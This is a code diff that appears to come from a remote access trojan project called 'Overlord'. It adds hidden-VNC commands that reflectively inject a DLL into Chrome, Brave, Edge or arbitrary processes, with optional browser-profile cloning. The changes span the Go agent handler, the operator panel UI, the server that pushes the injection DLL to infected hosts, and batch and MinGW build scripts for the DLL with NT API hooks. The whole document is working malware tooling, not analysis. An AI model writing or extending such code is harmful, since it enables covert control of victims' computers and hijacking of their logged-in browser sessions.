||||
case string:
|
||||
if len(v) > 0 {
|
||||
return []byte(v)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
cmdID, _ := envelope["id"].(string)
|
||||
action, _ := envelope["commandType"].(string)
|
||||
@@ -1267,6 +1282,92 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_process_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
filePath := ""
|
||||
searchPath := ""
|
||||
replacePath := ""
|
||||
if payload != nil {
|
||||
if v, ok := payload["path"].(string); ok {
|
||||
filePath = v
|
||||
}
|
||||
if v, ok := payload["search_path"].(string); ok {
|
||||
searchPath = v
|
||||
}
|
||||
if v, ok := payload["replace_path"].(string); ok {
|
||||
replacePath = v
|
||||
}
|
||||
}
|
||||
dllBytes := extractDLLBytes(payload)
|
||||
if len(dllBytes) == 0 {
|
||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process_injected", nil, func() {
|
||||
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil {
|
||||
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_chrome_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
chromePath := ""
|
||||
if payload != nil {
|
||||
if v, ok := payload["path"].(string); ok {
|
||||
chromePath = v
|
||||
}
|
||||
}
|
||||
dllBytes := extractDLLBytes(payload)
|
||||
if len(dllBytes) == 0 {
|
||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_chrome_injected", nil, func() {
|
||||
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil {
|
||||
log.Printf("hvnc: chrome injected failed: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_browser_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
browser := ""
|
||||
exePath := ""
|
||||
clone := true
|
||||
if payload != nil {
|
||||
if v, ok := payload["browser"].(string); ok {
|
||||
browser = v
|
||||
}
|
||||
if v, ok := payload["path"].(string); ok {
|
||||
exePath = v
|
||||
}
|
||||
if v, ok := payload["clone"].(bool); ok {
|
||||
clone = v
|
||||
}
|
||||
}
|
||||
dllBytes := extractDLLBytes(payload)
|
||||
if len(dllBytes) == 0 {
|
||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||
return nil
|
||||
}
|
||||
if browser == "" {
|
||||
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v dllSize=%d", browser, exePath, clone, len(dllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone); err != nil {
|
||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "webcam_start":
|
||||
env.WebcamMu.Lock()
|
||||
if env.WebcamCancel != nil {
|
||||
|
||||
@@ -746,11 +746,14 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
} else if (action === "start-powershell") {
|
||||
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
|
||||
} else if (action === "start-chrome") {
|
||||
sendCmd("hvnc_start_process", { path: "c:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" });
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone });
|
||||
} else if (action === "start-brave") {
|
||||
sendCmd("hvnc_start_process", { path: "c:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" });
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone });
|
||||
} else if (action === "start-edge") {
|
||||
sendCmd("hvnc_start_process", { path: "c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" });
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone });
|
||||
} else if (action === "start-custom") {
|
||||
const exePath = prompt("Enter exe path (required)");
|
||||
if (!exePath) {
|
||||
|
||||
@@ -152,6 +152,10 @@
|
||||
class="hidden fixed z-50 min-w-[180px] rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
|
||||
>
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Browsers</div>
|
||||
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Clone profile</span>
|
||||
</label>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { existsSync, readFileSync } from "fs";
|
||||
import path from "path";
|
||||
import * as clientManager from "../clientManager";
|
||||
import { logger } from "../logger";
|
||||
import { metrics } from "../metrics";
|
||||
@@ -9,6 +11,23 @@ import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
|
||||
// Cache the injection DLL bytes so we read the file only once.
|
||||
// Sent as raw binary via msgpack — no base64 needed.
|
||||
let _cachedInjectionDll: Uint8Array | null = null;
|
||||
let _dllCacheChecked = false;
|
||||
function getInjectionDllBytes(): Uint8Array | null {
|
||||
if (_dllCacheChecked) return _cachedInjectionDll;
|
||||
_dllCacheChecked = true;
|
||||
const dllPath = path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll");
|
||||
if (existsSync(dllPath)) {
|
||||
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
|
||||
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
|
||||
} else {
|
||||
logger.warn(`[hvnc] injection DLL not found at ${dllPath}`);
|
||||
}
|
||||
return _cachedInjectionDll;
|
||||
}
|
||||
|
||||
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
|
||||
if (typeof raw === "string") {
|
||||
try {
|
||||
@@ -581,6 +600,46 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "hvnc_start_process":
|
||||
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
|
||||
break;
|
||||
case "hvnc_start_process_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
||||
break;
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_start_process_injected", {
|
||||
path: String(payload.path || ""),
|
||||
search_path: String(payload.search_path || ""),
|
||||
replace_path: String(payload.replace_path || ""),
|
||||
dll: dllData,
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_chrome_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
||||
break;
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
|
||||
path: String(payload.path || ""),
|
||||
dll: dllData,
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_browser_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
||||
break;
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_start_browser_injected", {
|
||||
browser: String(payload.browser || ""),
|
||||
path: String(payload.path || ""),
|
||||
clone: payload.clone !== false,
|
||||
dll: dllData,
|
||||
});
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
@echo off
|
||||
setlocal
|
||||
REM Build HVNCInjection DLL for Windows x64 using Visual Studio (cl.exe)
|
||||
REM Run from VS Developer Command Prompt, or let the script detect vcvarsall.
|
||||
|
||||
set ROOT=%~dp0
|
||||
set SRC_DIR=%ROOT%HVNCInjection\src
|
||||
set OUT_DIR=%ROOT%Overlord-Server\dist-clients
|
||||
|
||||
REM Try to set up MSVC environment if cl.exe is not available
|
||||
where cl.exe >nul 2>&1
|
||||
if %ERRORLEVEL% neq 0 (
|
||||
echo cl.exe not found, searching for Visual Studio ...
|
||||
set "FOUND_VS="
|
||||
for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do (
|
||||
set "VS_PATH=%%i"
|
||||
set "FOUND_VS=1"
|
||||
)
|
||||
if not defined FOUND_VS (
|
||||
echo ERROR: Visual Studio with C++ tools not found.
|
||||
echo Please run this from a VS Developer Command Prompt.
|
||||
exit /b 1
|
||||
)
|
||||
echo Found VS at: %VS_PATH%
|
||||
call "%VS_PATH%\VC\Auxiliary\Build\vcvarsall.bat" x64
|
||||
)
|
||||
|
||||
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
||||
|
||||
set DEFS=/DWIN64 /DNDEBUG /D_WINDOWS /D_USRDLL /DHVNCInjection_EXPORTS /DWIN_X64
|
||||
set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
set CFLAGS=/O2 /Oi /GL /MT /GS- /W3 /TC %DEFS% /I "%SRC_DIR%"
|
||||
|
||||
echo Compiling ReflectiveLoader.c ...
|
||||
cl.exe /c %CFLAGS% /Fo"%SRC_DIR%\ReflectiveLoader.obj" "%SRC_DIR%\ReflectiveLoader.c"
|
||||
if %ERRORLEVEL% neq 0 goto :error
|
||||
|
||||
echo Compiling ReflectiveDll.c ...
|
||||
cl.exe /c %CFLAGS% /TP /Fo"%SRC_DIR%\ReflectiveDll.obj" "%SRC_DIR%\ReflectiveDll.c"
|
||||
if %ERRORLEVEL% neq 0 goto :error
|
||||
|
||||
echo Compiling NtApiHooks.c ...
|
||||
cl.exe /c %CFLAGS% /TP /Fo"%SRC_DIR%\NtApiHooks.obj" "%SRC_DIR%\NtApiHooks.c"
|
||||
if %ERRORLEVEL% neq 0 goto :error
|
||||
|
||||
echo Linking HVNCInjection.x64.dll ...
|
||||
link.exe /DLL /OUT:"%OUT_DIR%\HVNCInjection.x64.dll" ^
|
||||
/SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /MACHINE:X64 ^
|
||||
/LIBPATH:"%SRC_DIR%" ^
|
||||
"%SRC_DIR%\ReflectiveLoader.obj" ^
|
||||
"%SRC_DIR%\ReflectiveDll.obj" ^
|
||||
"%SRC_DIR%\NtApiHooks.obj" ^
|
||||
libMinHook.x64.lib kernel32.lib user32.lib advapi32.lib ntdll.lib
|
||||
if %ERRORLEVEL% neq 0 goto :error
|
||||
|
||||
echo.
|
||||
echo Built: %OUT_DIR%\HVNCInjection.x64.dll
|
||||
dir "%OUT_DIR%\HVNCInjection.x64.dll"
|
||||
|
||||
REM Clean up
|
||||
del /q "%SRC_DIR%\*.obj" 2>nul
|
||||
|
||||
echo Done.
|
||||
exit /b 0
|
||||
|
||||
:error
|
||||
echo.
|
||||
echo BUILD FAILED
|
||||
exit /b 1
|
||||
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build HVNCInjection DLL for Windows x64 using MinGW cross-compiler.
|
||||
# Run from the repository root or from Docker.
|
||||
#
|
||||
# Requirements:
|
||||
# - x86_64-w64-mingw32-gcc
|
||||
# - MinHook source files in HVNCInjection/src/minhook/ (see below)
|
||||
#
|
||||
# MinHook setup:
|
||||
# The project needs MinHook source compiled from scratch for MinGW.
|
||||
# 1) Clone https://github.com/TsudaKageworked/minhook (BSD-2 license)
|
||||
# 2) Copy src/buffer.c, src/buffer.h, src/trampoline.c, src/trampoline.h,
|
||||
# src/hde/hde64.c, src/hde/hde64.h, src/hde/hde32.c, src/hde/hde32.h,
|
||||
# src/hde/table64.h, src/hde/table32.h, include/MinHook.h
|
||||
# into HVNCInjection/src/minhook/
|
||||
# 3) Run this script.
|
||||
#
|
||||
# If MinHook source is not available, you can pre-build the DLL with MSVC
|
||||
# on Windows using build-hvnc-dll.bat and place the output at:
|
||||
# Overlord-Server/dist-clients/HVNCInjection.x64.dll
|
||||
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
CC="${CC:-x86_64-w64-mingw32-gcc}"
|
||||
SRC_DIR="${HVNC_SRC_DIR:-HVNCInjection/src}"
|
||||
OUT_DIR="${HVNC_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||
DLL_NAME="HVNCInjection.x64.dll"
|
||||
|
||||
mkdir -p "$OUT_DIR"
|
||||
|
||||
MINHOOK_DIR="$SRC_DIR/minhook"
|
||||
|
||||
if [ ! -d "$MINHOOK_DIR" ]; then
|
||||
echo "WARNING: MinHook source not found at $MINHOOK_DIR"
|
||||
echo "Attempting to use pre-compiled libMinHook.x64.lib ..."
|
||||
echo "(This may fail with MinGW. Build with MSVC on Windows instead.)"
|
||||
MINHOOK_OBJS=""
|
||||
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
|
||||
MINHOOK_INC=""
|
||||
else
|
||||
echo "Building MinHook from source ..."
|
||||
MINHOOK_OBJS=""
|
||||
MINHOOK_LIB=""
|
||||
MINHOOK_INC="-I$MINHOOK_DIR"
|
||||
|
||||
for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \
|
||||
"$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c; do
|
||||
if [ -f "$src" ]; then
|
||||
obj="${src%.c}.o"
|
||||
$CC -c -O2 -DWIN64 -D_WIN64 $MINHOOK_INC -o "$obj" "$src"
|
||||
MINHOOK_OBJS="$MINHOOK_OBJS $obj"
|
||||
fi
|
||||
done
|
||||
|
||||
# Compile MinHook.c if it exists, or the individual components
|
||||
if [ -f "$MINHOOK_DIR/MinHook.c" ]; then
|
||||
$CC -c -O2 -DWIN64 -D_WIN64 $MINHOOK_INC -o "$MINHOOK_DIR/MinHook.o" "$MINHOOK_DIR/MinHook.c"
|
||||
MINHOOK_OBJS="$MINHOOK_OBJS $MINHOOK_DIR/MinHook.o"
|
||||
fi
|
||||
fi
|
||||
|
||||
CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
|
||||
CFLAGS="$CFLAGS -DHVNCInjection_EXPORTS -DWIN_X64"
|
||||
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
|
||||
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||
CFLAGS="$CFLAGS -I$SRC_DIR"
|
||||
if [ -n "${MINHOOK_INC:-}" ]; then
|
||||
CFLAGS="$CFLAGS $MINHOOK_INC"
|
||||
fi
|
||||
|
||||
echo "Compiling ReflectiveLoader.c ..."
|
||||
$CC -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
|
||||
|
||||
echo "Compiling ReflectiveDll.c ..."
|
||||
$CC -c $CFLAGS -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
|
||||
|
||||
echo "Compiling NtApiHooks.c ..."
|
||||
$CC -c $CFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/NtApiHooks.o" "$SRC_DIR/NtApiHooks.c"
|
||||
|
||||
echo "Linking $DLL_NAME ..."
|
||||
LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/NtApiHooks.o"
|
||||
if [ -n "${MINHOOK_OBJS:-}" ]; then
|
||||
LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS"
|
||||
fi
|
||||
LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -lntdll"
|
||||
if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
|
||||
LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
|
||||
fi
|
||||
|
||||
$CC -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
|
||||
-Wl,--no-seh -s
|
||||
|
||||
echo "Built: $OUT_DIR/$DLL_NAME"
|
||||
ls -la "$OUT_DIR/$DLL_NAME"
|
||||
|
||||
# Clean up object files
|
||||
rm -f "$SRC_DIR"/*.o
|
||||
if [ -d "$MINHOOK_DIR" ]; then
|
||||
find "$MINHOOK_DIR" -name '*.o' -delete
|
||||
fi
|
||||
|
||||
echo "Done."
|
||||
Reference in New Issue
Block a user